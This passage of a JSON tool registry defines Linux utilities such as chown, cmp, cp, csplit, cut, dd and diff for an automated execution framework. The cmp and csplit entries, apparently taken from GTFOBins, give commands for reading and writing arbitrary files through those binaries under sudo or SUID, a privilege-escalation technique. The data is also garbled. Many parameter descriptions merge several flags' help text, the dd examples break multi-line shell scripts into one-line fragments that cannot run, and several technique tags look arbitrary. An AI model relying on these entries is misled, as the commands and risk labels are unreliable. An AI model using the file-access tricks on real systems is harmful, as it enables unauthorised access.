          "--from"
        ],
        "flag": "--from"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display this help and exit --version output version information and exit",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "no-dereference",
        "template_key": "no-dereference",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "affect symbolic links instead of any referenced file; useful only on systems that can change the ownership of a symlink --from=CURRENT_OWNER:CURRENT_GROUP change the ownership of each file only if its current owner and/or group match those specified here. Either may be omitted, in which case a match is not required for the omitted attribute --no-preserve-root do not treat '/' specially (the default) --preserve-root fail to operate recursively on '/' --reference=RFILE use RFILE's ownership rather than specifying values. RFILE is always dereferenced if a symbolic link",
        "aliases": [
          "-h",
          "--no-dereference"
        ],
        "flag": "-h"
      },
      {
        "name": "no_preserve_root",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--no-preserve-root"
        ],
        "flag": "--no-preserve-root"
      },
      {
        "name": "preserve_root",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--preserve-root"
        ],
        "flag": "--preserve-root"
      },
      {
        "name": "recursive",
        "template_key": "recursive",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "operate on files and directories recursively",
        "aliases": [
          "-R",
          "--recursive"
        ],
        "flag": "-R"
      },
      {
        "name": "reference",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--reference"
        ],
        "flag": "--reference"
      },
      {
        "name": "silent",
        "template_key": "silent",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "suppress most error messages",
        "aliases": [
          "-f",
          "--silent",
          "--quiet"
        ],
        "flag": "-f"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output a diagnostic for every file processed --dereference affect the referent of each symbolic link (this is the default), rather than the symbolic link itself",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      }
    ],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-file-chmod"
    ],
    "risk_level": "low",
    "techniques": [
      "collection",
      "data-manipulation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n\n",
    "_source": "cmp.md",
    "allowed-tools": [
      "cmp",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to input file"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Compare two files byte by byte, can read files via byte comparison with /dev/zero.",
    "examples": [
      {
        "description": "Read a file via cmp byte comparison",
        "command": "cmp /path/to/input-file /dev/zero -b -l"
      }
    ],
    "execution": {
      "template": "cmp {input} /dev/zero -b -l",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local"
    ],
    "global_vars": {},
    "id": "system-file-cmp",
    "install": [
      {
        "method": "apt",
        "package_name": "diffutils",
        "commands": [
          "apt-get install -y diffutils"
        ]
      }
    ],
    "name": "cmp",
    "namespace": "system:file:cmp",
    "parameters": [
      {
        "name": "input",
        "type": "file",
        "required": false,
        "description": "File to read"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/cmp/"
      }
    ],
    "related_tools": [
      "diff"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "\n\n# comm — Compare two sorted files line by line\n\n## Overview\n\n`comm` is a command-line utility for compare two sorted files line by line.\n\n## Usage\n\n```\ncomm -1 {flag-1} -2 {flag-2} -3 {flag-3} --check-order {check-order} -z {zero-terminated}\n```\n",
    "_source": "comm.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.comm",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Compare two sorted files line by line",
    "examples": [
      {
        "description": "Basic usage with flag-1",
        "command": "comm ${flag-1}"
      },
      {
        "description": "Display help message",
        "command": "comm --help"
      }
    ],
    "execution": {
      "template": "comm -1 {flag-1} -2 {flag-2} -3 {flag-3} --check-order {check-order} -z {zero-terminated}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system"
    ],
    "id": "system-file-comm",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "comm",
    "namespace": "system:file:comm",
    "parameters": [
      {
        "name": "check-order",
        "template_key": "check-order",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "check that the input is correctly sorted, even if all input lines are pairable --nocheck-order do not check that the input is correctly sorted --output-delimiter=STR separate columns with STR --total output a summary",
        "aliases": [
          "--check-order"
        ],
        "flag": "--check-order"
      },
      {
        "name": "flag-1",
        "template_key": "flag-1",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "suppress column 1 (lines unique to FILE1)",
        "aliases": [
          "-1"
        ],
        "flag": "-1"
      },
      {
        "name": "flag-2",
        "template_key": "flag-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "suppress column 2 (lines unique to FILE2)",
        "aliases": [
          "-2"
        ],
        "flag": "-2"
      },
      {
        "name": "flag-3",
        "template_key": "flag-3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "suppress column 3 (lines that appear in both files)",
        "aliases": [
          "-3"
        ],
        "flag": "-3"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "nocheck_order",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--nocheck-order"
        ],
        "flag": "--nocheck-order"
      },
      {
        "name": "output_delimiter",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--output-delimiter"
        ],
        "flag": "--output-delimiter"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      },
      {
        "name": "zero-terminated",
        "template_key": "zero-terminated",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "line delimiter is NUL, not newline --help display this help and exit --version output version information and exit",
        "aliases": [
          "-z",
          "--zero-terminated"
        ],
        "flag": "-z"
      }
    ],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-file-cat",
      "system-file-sort",
      "system-file-uniq",
      "system-file-wc"
    ],
    "risk_level": "low",
    "techniques": [
      "collection",
      "data-manipulation",
      "defense-evasion"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# cp — Copy files and directories\n\n## Overview\n\n`cp` is a command-line utility for copy files and directories.\n\n## Usage\n\n```\ncp -a {archive} -b {flag-b} -d {flag-d} -f {force} -i {interactive}\n```\n",
    "_source": "cp.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.cp",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Copy files and directories",
    "examples": [
      {
        "description": "Basic usage with archive",
        "command": "cp ${archive}"
      },
      {
        "description": "Display help message",
        "command": "cp --help"
      }
    ],
    "execution": {
      "template": "cp -a {archive} -b {flag-b} -d {flag-d} -f {force} -i {interactive}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system"
    ],
    "id": "system-file-cp",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      },
      {
        "method": "brew",
        "package_name": "coreutils",
        "commands": [
          "brew install coreutils"
        ]
      }
    ],
    "name": "cp",
    "namespace": "system:file:cp",
    "parameters": [
      {
        "name": "archive",
        "template_key": "archive",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "same as -dR --preserve=all --attributes-only don't copy the file data, just the attributes --backup[=CONTROL] make a backup of each existing destination file",
        "aliases": [
          "-a",
          "--archive"
        ],
        "flag": "-a"
      },
      {
        "name": "attributes_only",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--attributes-only"
        ],
        "flag": "--attributes-only"
      },
      {
        "name": "backup",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--backup"
        ],
        "flag": "--backup"
      },
      {
        "name": "copy_contents",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--copy-contents"
        ],
        "flag": "--copy-contents"
      },
      {
        "name": "dereference",
        "template_key": "dereference",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "always follow symbolic links in SOURCE",
        "aliases": [
          "-L",
          "--dereference"
        ],
        "flag": "-L"
      },
      {
        "name": "flag-H",
        "template_key": "flag-h",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "follow command-line symbolic links in SOURCE",
        "aliases": [
          "-H"
        ],
        "flag": "-H"
      },
      {
        "name": "flag-Z",
        "template_key": "flag-z",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "set SELinux security context of destination file to default type --context[=CTX] like -Z, or if CTX is specified then set the SELinux or SMACK security context to CTX --help display this help and exit --version output version information and exit",
        "aliases": [
          "-Z"
        ],
        "flag": "-Z"
      },
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "like --backup but does not accept an argument --copy-contents copy contents of special files when recursive",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-d",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "same as --no-dereference --preserve=links --debug explain how a file is copied. Implies -v",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "same as --preserve=mode,ownership,timestamps --preserve[=ATTR_LIST] preserve the specified attributes --no-preserve=ATTR_LIST don't preserve the specified attributes --parents use full source file name under DIRECTORY",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-u",
        "template_key": "flag-u",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "equivalent to --update[=older]. See below",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "force",
        "template_key": "force",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "if an existing destination file cannot be opened, remove it and try again (this option is ignored when the -n option is also used)",
        "aliases": [
          "-f",
          "--force"
        ],
        "flag": "-f"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "interactive",
        "template_key": "interactive",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "prompt before overwrite (overrides a previous -n option)",
        "aliases": [
          "-i",
          "--interactive"
        ],
        "flag": "-i"
      },
      {
        "name": "keep_directory_symlink",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--keep-directory-symlink"
        ],
        "flag": "--keep-directory-symlink"
      },
      {
        "name": "link",
        "template_key": "link",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "hard link files instead of copying",
        "aliases": [
          "-l",
          "--link"
        ],
        "flag": "-l"
      },
      {
        "name": "no-clobber",
        "template_key": "no-clobber",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(deprecated) silently skip existing files. See also --update",
        "aliases": [
          "-n",
          "--no-clobber"
        ],
        "flag": "-n"
      },
      {
        "name": "no-dereference",
        "template_key": "no-dereference",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "never follow symbolic links in SOURCE --keep-directory-symlink follow existing symlinks to directories",
        "aliases": [
          "-P",
          "--no-dereference"
        ],
        "flag": "-P"
      },
      {
        "name": "no-target-directory",
        "template_key": "no-target-directory",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "treat DEST as a normal file --update[=UPDATE] control which existing files are updated; UPDATE={all,none,none-fail,older(default)}",
        "aliases": [
          "-T",
          "--no-target-directory"
        ],
        "enum": [
          "all,none,none-fail,older(default)"
        ],
        "flag": "-T"
      },
      {
        "name": "no_preserve",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--no-preserve"
        ],
        "flag": "--no-preserve"
      },
      {
        "name": "one-file-system",
        "template_key": "one-file-system",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "stay on this file system",
        "aliases": [
          "-x",
          "--one-file-system"
        ],
        "flag": "-x"
      },
      {
        "name": "parents",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--parents"
        ],
        "flag": "--parents"
      },
      {
        "name": "recursive",
        "template_key": "recursive",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "copy directories recursively --reflink[=WHEN] control clone/CoW copies. See below --remove-destination remove each existing destination file before attempting to open it (contrast with --force) --sparse=WHEN control creation of sparse files. See below --strip-trailing-slashes remove any trailing slashes from each SOURCE argument",
        "aliases": [
          "-R",
          "-r",
          "--recursive"
        ],
        "flag": "-R"
      },
      {
        "name": "reflink",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--reflink"
        ],
        "flag": "--reflink"
      },
      {
        "name": "remove_destination",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--remove-destination"
        ],
        "flag": "--remove-destination"
      },
      {
        "name": "sparse",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--sparse"
        ],
        "flag": "--sparse"
      },
      {
        "name": "strip_trailing_slashes",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--strip-trailing-slashes"
        ],
        "flag": "--strip-trailing-slashes"
      },
      {
        "name": "suffix",
        "template_key": "suffix",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "override the usual backup suffix",
        "aliases": [
          "-S",
          "--suffix"
        ],
        "flag": "-S"
      },
      {
        "name": "symbolic-link",
        "template_key": "symbolic-link",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "make symbolic links instead of copying",
        "aliases": [
          "-s",
          "--symbolic-link"
        ],
        "flag": "-s"
      },
      {
        "name": "target-directory",
        "template_key": "target-directory",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "copy all SOURCE arguments into DIRECTORY",
        "aliases": [
          "-t",
          "--target-directory"
        ],
        "flag": "-t"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "explain what is being done",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      }
    ],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-file-mv",
      "system-file-rm"
    ],
    "risk_level": "low",
    "techniques": [
      "collection",
      "data-manipulation",
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "csplit.md",
    "allowed-tools": [
      "csplit",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "system.file.write"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Split files based on context, can read and write files via sudo or SUID.",
    "examples": [
      {
        "description": "Read a file via csplit",
        "command": "csplit /path/to/input-file 1\ncat xx01\n"
      },
      {
        "description": "Write to a file via csplit",
        "command": "echo DATA >/path/to/temp-file\ncsplit -z -b '%doutput-file' /path/to/temp-file 1\n"
      }
    ],
    "execution": {
      "template": "csplit {input} 1",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "system-file-csplit",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "csplit",
    "namespace": "system:file:csplit",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/csplit/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "\n\n# cut — Remove sections from each line of files\n\n## Overview\n\n`cut` is a command-line utility for remove sections from each line of files.\n\n## Usage\n\n```\ncut -b {bytes} -c {characters} -d {delimiter} -f {fields} -n {flag-n}\n```\n",
    "_source": "cut.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.cut",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Remove sections from each line of files",
    "examples": [
      {
        "description": "Display help message",
        "command": "cut --help"
      }
    ],
    "execution": {
      "template": "cut -b {bytes} -c {characters} -d {delimiter} -f {fields} -n {flag-n}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system"
    ],
    "id": "system-file-cut",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      },
      {
        "method": "brew",
        "package_name": "coreutils",
        "commands": [
          "brew install coreutils"
        ]
      }
    ],
    "name": "cut",
    "namespace": "system:file:cut",
    "parameters": [
      {
        "name": "M",
        "type": "boolean",
        "required": false,
        "description": "from first to M'th (included) byte, character or field",
        "aliases": [
          "-M"
        ],
        "flag": "-M"
      },
      {
        "name": "bytes",
        "template_key": "bytes",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "select only these bytes",
        "aliases": [
          "-b",
          "--bytes"
        ],
        "flag": "-b"
      },
      {
        "name": "characters",
        "template_key": "characters",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "select only these characters",
        "aliases": [
          "-c",
          "--characters"
        ],
        "flag": "-c"
      },
      {
        "name": "complement",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--complement"
        ],
        "flag": "--complement"
      },
      {
        "name": "delimiter",
        "template_key": "delimiter",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use DELIM instead of TAB for field delimiter",
        "aliases": [
          "-d",
          "--delimiter"
        ],
        "flag": "-d"
      },
      {
        "name": "fields",
        "template_key": "fields",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "select only these fields; also print any line that contains no delimiter character, unless the -s option is specified",
        "aliases": [
          "-f",
          "--fields"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-n",
        "template_key": "flag-n",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(ignored) --complement complement the set of selected bytes, characters or fields",
        "aliases": [
          "-n"
        ],
        "flag": "-n"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "only-delimited",
        "template_key": "only-delimited",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not print lines not containing delimiters --output-delimiter=STRING use STRING as the output delimiter; the default is to use the input delimiter",
        "aliases": [
          "-s",
          "--only-delimited"
        ],
        "flag": "-s"
      },
      {
        "name": "output_delimiter",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--output-delimiter"
        ],
        "flag": "--output-delimiter"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      },
      {
        "name": "zero-terminated",
        "template_key": "zero-terminated",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "line delimiter is NUL, not newline --help display this help and exit --version output version information and exit",
        "aliases": [
          "-z",
          "--zero-terminated"
        ],
        "flag": "-z"
      }
    ],
    "platforms": [
      "linux"
    ],
    "risk_level": "low",
    "techniques": [
      "collection",
      "data-manipulation",
      "credential-access"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# dd — Convert and copy a file\n\n## Overview\n\n`dd` is a command-line utility for convert and copy a file.\n\n## Usage\n\n```\ndd --help {help}\n```\n",
    "_source": "dd.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.dd",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Convert and copy a file",
    "examples": [
      {
        "description": "Basic usage with help",
        "command": "dd ${help}"
      },
      {
        "description": "Display help message",
        "command": "dd --help"
      },
      {
        "description": "Read from `/dev/urandom`, 2*512 Bytes, and put it into `/tmp/test.txt`. Note: each iteration reads 512 bytes (the selected block size).",
        "command": "dd if=/dev/urandom of=/tmp/test.txt count=2 bs=512"
      },
      {
        "description": "Watch the progress of dd(1).",
        "command": "dd if=/dev/zero of=/dev/null bs=4KB &"
      },
      {
        "description": "cheat.sheets: dd",
        "command": "export dd_pid=`pgrep '^dd'`"
      },
      {
        "description": "cheat.sheets: dd",
        "command": "while [[ -d /proc/$dd_pid ]]; do"
      },
      {
        "description": "cheat.sheets: dd",
        "command": "kill -USR1 $dd_pid && sleep 1"
      },
      {
        "description": "cheat.sheets: dd",
        "command": "clear"
      },
      {
        "description": "cheat.sheets: dd",
        "command": "done"
      },
      {
        "description": "Watch the progress of dd(1) with pv(1) and dialog(1), both of which can be installed with the following command: apt-get install pv dialog",
        "command": "("
      },
      {
        "description": "cheat.sheets: dd",
        "command": "pv -n /dev/zero | dd of=/dev/null bs=128M conv=notrunc,noerror"
      },
      {
        "description": "cheat.sheets: dd",
        "command": ") 2>&1 | dialog --gauge \"Running dd command (cloning), please wait...\" 10 70 0"
      },
      {
        "description": "Watch the progress of dd(1) with pv(1) and zenity(1), both of which can be installed with the following command: apt-get install pv zenity",
        "command": "("
      },
      {
        "description": "cheat.sheets: dd",
        "command": "pv -n /dev/zero | dd of=/dev/null bs=128M conv=notrunc,noerror"
      },
      {
        "description": "cheat.sheets: dd",
        "command": ") 2>&1 | zenity --title 'Cloning with dd(1) -- please wait...' --progress"
      },
      {
        "description": "Watch the progress of dd(1) with the built-in `progress` functionality, - introduced in CoreUtils v8.24.",
        "command": "dd if=/dev/zero of=/dev/null bs=128M status=progress"
      },
      {
        "description": "DD with \"graphical\" return",
        "command": "dcfldd if=/dev/zero of=/dev/null bs=500K"
      },
      {
        "description": "This will output the sound from your microphone port to the ssh target computer's speaker port. The sound quality is very bad, so you will hear a lot of hissing.",
        "command": "dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp"
      },
      {
        "description": "Show current progress without interruption (USR1)",
        "command": "dd if=/dev/zero of=/dev/null & pid=$!"
      },
      {
        "description": "cheat.sheets: dd",
        "command": "kill -USR1 $pid"
      },
      {
        "description": "Create a 1GiB file with nothing but zeros, ready to mkswap(8) it.",
        "command": "dd if=/dev/zero of=/swapfile count=1048576 bs=1024 status=progress"
      }
    ],
    "execution": {
      "template": "dd --help {help}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system"
    ],
    "id": "system-file-dd",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "dd",
    "namespace": "system:file:dd",
    "parameters": [
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display this help and exit --version output version information and exit",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux"
    ],
    "risk_level": "high",
    "techniques": [
      "collection",
      "data-manipulation",
      "credential-access",
      "execution",
      "process-manip"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# diff — Compare files line by line\n\n## Overview\n\n`diff` is a command-line utility for compare files line by line.\n\n## Usage\n\n```\ndiff --normal {normal} -q {brief} -s {report-identical-files} -c {context} -u {unified}\n```\n",
    "_source": "diff.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.diff",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Compare files line by line",
    "examples": [
      {
        "description": "Basic usage with normal",
        "command": "diff ${normal}"
      },
      {
        "description": "Display help message",
        "command": "diff --help"
      }
    ],
    "execution": {
      "template": "diff --normal {normal} -q {brief} -s {report-identical-files} -c {context} -u {unified}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system"
    ],
    "id": "system-file-diff",
    "install": [
      {
        "method": "apt",
        "package_name": "diffutils",
        "commands": [
          "apt-get install -y diffutils"
        ]
      }
    ],
    "name": "diff",
    "namespace": "system:file:diff",
    "parameters": [
      {
        "name": "GTYPE-group-format",
        "template_key": "gtype-group-format",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "format GTYPE input groups with GFMT",
        "aliases": [
          "--GTYPE-group-format"
        ],
        "flag": "--GTYPE-group-format"
      },
      {
        "name": "LTYPE-line-format",
        "template_key": "ltype-line-format",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "format LTYPE input lines with LFMT",
        "aliases": [
          "--LTYPE-line-format"
        ],
        "flag": "--LTYPE-line-format"
      },
      {
        "name": "brief",
        "template_key": "brief",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "report only when files differ",
        "aliases": [
          "-q",
          "--brief"
        ],
        "flag": "-q"
      },
      {
        "name": "context",
        "template_key": "context",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output NUM (default 3) lines of copied context",
        "aliases": [
          "-c",
          "-C",
          "--context"
        ],
        "flag": "-c"
      },
      {
        "name": "ed",
        "template_key": "ed",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output an ed script",
        "aliases": [
          "-e",
          "--ed"
        ],
        "flag": "-e"
      },
      {
        "name": "exclude",
        "template_key": "exclude",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "exclude files that match PAT",
        "aliases": [
          "-x",
          "--exclude"
        ],
        "flag": "-x"
      },
      {
        "name": "exclude-from",
        "template_key": "exclude-from",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "exclude files that match any pattern in FILE",
        "aliases": [
          "-X",
          "--exclude-from"
        ],
        "flag": "-X"
      },
      {
        "name": "expand-tabs",
        "template_key": "expand-tabs",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "expand tabs to spaces in output",
        "aliases": [
          "-t",
          "--expand-tabs"
        ],
        "flag": "-t"
      },
      {
        "name": "from-file",
        "template_key": "from-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "compare FILE1 to all operands",
        "aliases": [
          "--from-file"
        ],
        "flag": "--from-file"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display this help and exit",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "horizon-lines",
        "template_key": "horizon-lines",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "--speed-large-files assume large files and many scattered small changes --color[=WHEN] color output; WHEN is 'never', 'always', or 'auto'; plain --color means --color='auto' --palette=PALETTE the colors to use when --color is active; PALETTE is a colon-separated list of terminfo capabilities",
        "aliases": [
          "--horizon-lines"
        ],
        "flag": "--horizon-lines"
      },
      {
        "name": "ifdef",
        "template_key": "ifdef",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output merged file with '#ifdef NAME' diffs",
        "aliases": [
          "-D",
          "--ifdef"
        ],
        "flag": "-D"
      },
      {
        "name": "ignore-all-space",
        "template_key": "ignore-all-space",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ignore all white space",
        "aliases": [
          "-w",
          "--ignore-all-space"
        ],
        "flag": "-w"
      },
      {
        "name": "ignore-blank-lines",
        "template_key": "ignore-blank-lines",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ignore changes where lines are all blank",
        "aliases": [
          "-B",
          "--ignore-blank-lines"
        ],
        "flag": "-B"
      },
      {
        "name": "ignore-case",
        "template_key": "ignore-case",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ignore case differences in file contents",
        "aliases": [
          "-i",
